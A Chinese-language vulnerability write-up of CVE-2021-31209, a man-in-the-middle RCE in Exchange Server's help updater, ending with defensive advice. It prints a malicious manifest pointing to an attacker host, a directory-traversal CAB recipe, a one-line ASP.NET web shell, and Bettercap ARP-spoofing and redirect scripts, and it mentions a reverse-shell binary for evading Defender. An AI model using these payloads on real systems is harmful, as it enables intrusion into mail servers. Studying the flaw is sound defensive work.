Exchange Server 中间人劫持 RCE 漏洞分析
字数 1678 2025-08-05 00:15:37
Exchange Server 中间人劫持 RCE 漏洞分析教学文档
漏洞概述
漏洞编号: CVE-2021-31209
漏洞类型: 远程代码执行 (RCE)
影响产品: Microsoft Exchange Server
攻击前提: 需要中间人攻击(MiTM)位置
触发条件: 管理员运行 Update-ExchangeHelp 或 Update-ExchangeHelp -Force 命令
漏洞发现者: Steven Seeley (Source Incite)
发现时间: 2020年11月
披露时间: 2021年8月
漏洞背景
该漏洞是在寻找 WebClient.DownloadFile 调用时发现的,目的是发现服务器端请求伪造(SSRF)漏洞。后来发现SharePoint Server也受到类似代码模式的影响。
漏洞分析
漏洞触发流程
-
命令执行路径:
Update-ExchangeHelp或Update-ExchangeHelp -Force命令- →
Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand.InternalProcessRecord() - →
HelpUpdater.UpdateHelp() - →
HelpDownloader.DownloadManifest()
-
关键注册表项:
HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp- 默认
ManifestUrl值为http://go.microsoft.com/fwlink/p/?LinkId=287244
-
下载过程:
- 使用
WebClient.DownloadFileAsyncAPI 下载清单文件 - 清单文件包含
CabinetUrl指定要下载的.cab文件
- 使用
-
漏洞点:
EmbeddedCabWrapper.ExtractCabFiles在提取cab文件时不验证文件路径- 允许目录遍历,可将任意文件写入任意位置
代码关键点
// 清单URL获取
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();
// CAB文件提取
int result = EmbeddedCabWrapper.ExtractCabFiles(
this.helpUpdater.LocalCabinetPath,
this.helpUpdater.LocalCabinetExtractionTargetPath,
filter,
embedded);
漏洞利用
攻击步骤
-
中间人攻击(MiTM):
- 通过ARP欺骗等方式获取中间人位置
- 拦截对
http://go.microsoft.com/fwlink/p/?LinkId=287244的请求 - 重定向到攻击者控制的恶意清单文件
-
恶意清单文件:
- 包含攻击者控制的
CabinetUrl - 设置足够高的修订号(必须大于当前值)
- 示例:
<ExchangeHelpInfo> <HelpVersions> <HelpVersion> <Version>15.2.1.1-15.2.999.9</Version> <Revision>1337</Revision> <CulturesUpdated>en</CulturesUpdated> <CabinetUrl>http://attacker-ip/poc.cab</CabinetUrl> </HelpVersion> </HelpVersions> </ExchangeHelpInfo>
- 包含攻击者控制的
-
恶意CAB文件:
- 包含目录遍历路径的文件
- 示例文件结构:
"poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx" - 使用makecab创建:
makecab /d "CabinetName1=poc.cab" /f files.txt
-
Web Shell:
- 写入ASP.NET web shell到可访问目录
- 示例内容:
<%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
绕过Windows Defender
由于微软加强了对ASP.NET web shell的检测,可以采用以下方法:
- 编译自定义二进制文件执行反向shell
- 将二进制文件放到磁盘上执行
完整攻击示例
攻击工具准备
-
Bettercap配置 (
poc.cap):set http.proxy.script poc.js http.proxy on set arp.spoof.targets [target-ip] events.stream off arp.spoof on -
Bettercap JS脚本 (
poc.js):function onLoad() { log_info("Exchange Server RCE Vulnerability") } function onRequest(req, res) { log_info("(+) triggering mitm"); var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query; if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){ res.Status = 302; res.SetHeader("Location", "http://[attacker-ip]:8000/poc.xml"); } } -
Python HTTP服务器 (
poc.py):import sys import base64 import urllib3 import requests from threading import Thread from http.server import HTTPServer, SimpleHTTPRequestHandler class CabRequestHandler(SimpleHTTPRequestHandler): def do_GET(self): if self.path.endswith("poc.xml"): # 返回恶意清单文件 pass elif self.path.endswith("poc.cab"): # 返回恶意CAB文件 pass if __name__ == '__main__': # 启动服务器并等待命令执行 pass
攻击执行流程
-
启动Bettercap进行MiTM:
sudo bettercap -caplet poc.cap -
启动Python HTTP服务器:
python poc.py [target-ip] [attacker-ip] [revision] [command] -
等待管理员执行
Update-ExchangeHelp命令 -
通过web shell执行命令:
https://[target-ip]/aspnet_client/poc.aspx?c=[command]
防御措施
-
补丁更新:
- 应用Microsoft官方补丁修复CVE-2021-31209
-
网络防护:
- 实施网络分段,限制Exchange管理接口的访问
- 部署ARP欺骗检测机制
-
权限控制:
- 限制能够运行Exchange管理命令的用户
- 监控异常的管理操作
-
日志监控:
- 监控异常的HTTP请求,特别是对Microsoft域名的请求
- 监控异常的CAB文件下载和提取操作